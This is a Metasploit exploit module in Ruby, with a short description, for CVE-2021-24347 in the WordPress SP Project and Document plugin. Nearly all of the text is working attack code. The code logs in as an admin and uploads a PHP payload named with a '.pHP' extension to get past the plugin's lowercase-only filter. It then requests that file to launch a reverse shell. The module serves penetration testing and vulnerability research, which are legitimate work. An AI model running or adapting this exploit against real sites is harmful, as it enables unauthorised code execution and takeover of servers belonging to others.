Authored by Ron Jost, Yann Castel | Site metasploit.com

This Metasploit module allows an attacker with a privileged WordPress account to launch a reverse shell due to an arbitrary file upload vulnerability in WordPress SP Project and Document plugin versions prior to 4.22. The security check only searches for lowercase file extensions such as .php, making it possible to upload .pHP files for instance. Finally, the uploaded payload can be triggered by a call to /wp-content/uploads/sp-client-document-manager//.php.

advisories | CVE-2021-24347

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::CmdStager
include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Exploit::FileDropper

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Wordpress Plugin SP Project and Document - Authenticated Remote Code Execution',
'Description' => %q{
This module allows an attacker with a privileged WordPress account to launch a reverse shell
due to an arbitrary file upload vulnerability in WordPress plugin SP Project & Document < 4.22.
The security check only searches for lowercase file extensions such as `.php`, making it possible to upload `.pHP` files for instance.
Finally, the uploaded payload can be triggered by a call to `/wp-content/uploads/sp-client-document-manager/<user_id>/<random_payload_name>.php`
},
'License' => MSF_LICENSE,
'Author' =>
[
'Ron Jost', # Exploit-db
'Yann Castel (yann.castel[at]orange.com)' # Metasploit module
],
'References' =>
[
['EDB', '50115'],
['CVE', '2021-24347']
],
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
['Wordpress SP Project & Document < 4.22', {}]
],
'Privileged' => false,
'DisclosureDate' => '2021-06-14',
'Notes' =>
{
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]
}
)
)

register_options [
OptString.new('USERNAME', [true, 'Username of the admin account', 'admin']),
OptString.new('PASSWORD', [true, 'Password of the admin account', 'admin']),
OptString.new('TARGETURI', [true, 'The base path of the WordPress server', '/'])
]
end

def check
return CheckCode::Unknown('Server not online or not detected as wordpress') unless wordpress_and_online?

cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])
if cookie
check_plugin_version_from_readme('sp-client-document-manager', '4.22')
else
CheckCode::Detected('The admin credentials given are wrong !')
end
end

def get_user_id(cookie)
r = send_request_cgi({
'method' => 'GET',
'cookie' => cookie,
'uri' => normalize_uri(target_uri.path, 'wp-admin/admin.php'),
'Referer' => full_uri('/wp-admin/users.php'),
'vars_get' => {
'page' => 'sp-client-document-manager-fileview'
}
})
fail_with(Failure::Unknown, "Target #{RHOST} could not be reached.") unless r
user_id = r.body.to_s.match(%r{<option value='(d+)'>#{datastore['USERNAME']}</option>})
fail_with(Failure::UnexpectedReply, "Can't find user id on plugin page") unless user_id && user_id[1]
user_id[1]
end

def exploit
cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])
fail_with(Failure::NoAccess, 'Authentication failed') unless cookie
user_id = get_user_id(cookie)
payload_name = "#{Rex::Text.rand_text_alpha_lower(5)}.pHP"
post_data = Rex::MIME::Message.new
post_data.add_part(Rex::Text.rand_text_alpha(5..8), nil, nil, "form-data; name='cdm_upload_file_field'")
post_data.add_part("/wordpress/wp-admin/admin.php?page=sp-client-document-manager-fileview&id=#{user_id}", nil, nil, "form-data; name='_wp_http_referer'")
post_data.add_part('exploits', nil, nil, "form-data; name='dlg-upload-name'")
post_data.add_part('', 'application/octet-stream', nil, "form-data; name='dlg-upload-file[]'; filename=''")
post_data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name='dlg-upload-file[]'; filename='#{payload_name}'")
post_data.add_part('', nil, nil, "form-data; name='dlg-upload-notes'")
post_data.add_part('Upload', nil, nil, "form-data; name='sp-cdm-community-upload'")

print_status("Uploading file '#{payload_name}' containing the payload...")

r = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'wp-admin/admin.php'),
'headers' => {
'Origin' => full_uri(''),
'Referer' => full_uri('wp-admin/admin.php')
},
'vars_get' => {
'page' => 'sp-client-document-manager-fileview',
'id' => user_id
},
'cookie' => cookie,
'data' => post_data.to_s,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
)

fail_with(Failure::UnexpectedReply, "Wasn't able to upload the payload file") unless r&.code == 302
register_files_for_cleanup(payload_name.downcase)

print_status('Triggering the payload ...')

send_request_cgi(
'method' => 'GET',
'cookie' => cookie,
'uri' => normalize_uri(target_uri.path, "/wp-content/uploads/sp-client-document-manager/#{user_id}/#{payload_name.downcase}")
)
end
end